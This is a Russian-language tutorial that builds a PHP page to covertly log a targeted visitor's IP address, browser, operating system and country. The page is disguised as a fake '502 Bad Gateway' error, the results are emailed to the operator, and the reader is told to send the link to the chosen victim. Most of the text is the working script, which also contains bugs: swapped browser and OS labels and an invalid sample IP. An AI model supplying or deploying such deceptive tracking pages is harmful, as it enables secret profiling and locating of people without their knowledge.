Скрипт PHP для получения IP, браузера и ос посетителя

Рассмотрим как можно сделать простой скрип для получения IP, браузера и ос жертвы.

Получить данные можно просто :

$user_agent = $_SERVER["HTTP_USER_AGENT"];

Переменная даём нам строку пользовательского агента — это текст, который сами браузеры отправляют на веб-сервер, чтобы идентифицировать себя, чтобы веб-сайты могли отправлять разные материалы на основе браузера или на основе совместимости с браузером. Пример вывода этих данные будет таков:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Тут видно, что  используется браузер Chrome и операционная система LINUX.

Обратите внимание, что эти данные можно легко подменить!

Чтобы не выводить целую строку, можно написать простой скрипт для вывода только IP, браузера и ОС:

$IP = $_SERVER["REMOTE_ADDR"];
$firefox = "Firefox";
$opera = "Opera";
$chrome = "Chrome";
$explorer = "Internet Explorer";
$safari = "Safari";
$edit_b = "unknown";
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (strpos($user_agent, "Firefox") !== false) $osystem = "$firefox";
elseif (strpos($user_agent, "Opera") !== false) $osystem = "$opera";
elseif (strpos($user_agent, "Chrome") !== false) $osystem = "$chrome";
elseif (strpos($user_agent, "MSIE") !== false) $osystem = "$explorer";
elseif (strpos($user_agent, "Safari") !== false) $osystem = "$safari";
else $osystem = "$edit_b";
$win = "Windows";
$linux = "Linux";
$ios = "iOS";
$edit_b = "unknown";
$user_agent = getenv("HTTP_USER_AGENT");
if (strpos($user_agent, "Windows") !== false) $browser = "$win";
elseif (strpos($user_agent, "Linux") !== false) $browser = "$linux";
elseif (strpos($user_agent, "iOS") !== false) $browser = "$ios";
else $browser = "$edit_b";
echo "IP= $IP 
browser= $browser 
system= $osystem";

Тем самым будет выводиться следующие данные:

IP= 123.45.67.890
browser= Linux
system= Chrome

Добавим еще маленький скрипт определения геолокации:

$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('country'=>'', 'city'=>'');

if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
else $ip = $remote;

$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryCode;
}
echo "$result";

В итоге мы получим готовый скрипт определения IP, браузера, операционной системы и геолокацию.

Всё это можно подменить чем угодно. Давайте замаскируем всё это под ошибку сервер, чтобы ничего не подозревали. То есть, посетитель будет открывать сайт, будет видеть ошибку и просто закроет сайт, а данные упадут нам на почту.

Чтобы отправить все данные на почту, дописываем вот такой скрипт отправки сообщения, и в переменную $message пропишем все выводы:

$to = '[email protected]';
$subject = 'the subject';
$message = "IP= $IP 
browser= $browser 
system= $osystem
$user_agent
$result";
$headers = 'From: [email protected]' . "\r\n" .
'Reply-To: [email protected]' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);

В переменную $to прописываем свою почту, на которую мы должны получить результаты, из самого скрипта удаляем все строки с выводом echo.

В начале добавляем простой HTML шаблон ошибки, например, 502:

<center><h1>502 Bad Gateway</h1><hr>nginx/0.6.73</center>

В итоге у нас должен получится такой скрипт:

<?php
echo "<center><h1>502 Bad Gateway</h1><hr>nginx/0.6.73</center>";
$IP = $_SERVER["REMOTE_ADDR"];
$firefox = "Firefox";
$opera = "Opera";
$chrome = "Chrome";
$explorer = "Internet Explorer";
$safari = "Safari";
$edit_b = "unknown";
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (strpos($user_agent, "Firefox") !== false) $osystem = "$firefox";
elseif (strpos($user_agent, "Opera") !== false) $osystem = "$opera";
elseif (strpos($user_agent, "Chrome") !== false) $osystem = "$chrome";
elseif (strpos($user_agent, "MSIE") !== false) $osystem = "$explorer";
elseif (strpos($user_agent, "Safari") !== false) $osystem = "$safari";
else $osystem = "$edit_b";
$win = "Windows";
$linux = "Linux";
$ios = "iOS";
$edit_b = "unknown";
$user_agent = getenv("HTTP_USER_AGENT");
if (strpos($user_agent, "Windows") !== false) $browser = "$win";
elseif (strpos($user_agent, "Linux") !== false) $browser = "$linux";
elseif (strpos($user_agent, "iOS") !== false) $browser = "$ios";
else $browser = "$edit_b";

$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('country'=>'', 'city'=>'');

if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
else $ip = $remote;

$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryCode;
}

$to = '[email protected]';
$subject = 'the subject';
$message = "IP= $IP 
browser= $browser 
system= $osystem
$user_agent
$result";
$headers = 'From: [email protected]' . "\r\n" .
'Reply-To: [email protected]' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
?>

Добавляем страницу на сайт и кидаем ссылку тому, от кого хотим получить эти данные.

Внимание! Если пользователь использует прокси\впн\анонимайзер — эти данные не будут корректные.

Всем удачи 🙂

Оставьте ответ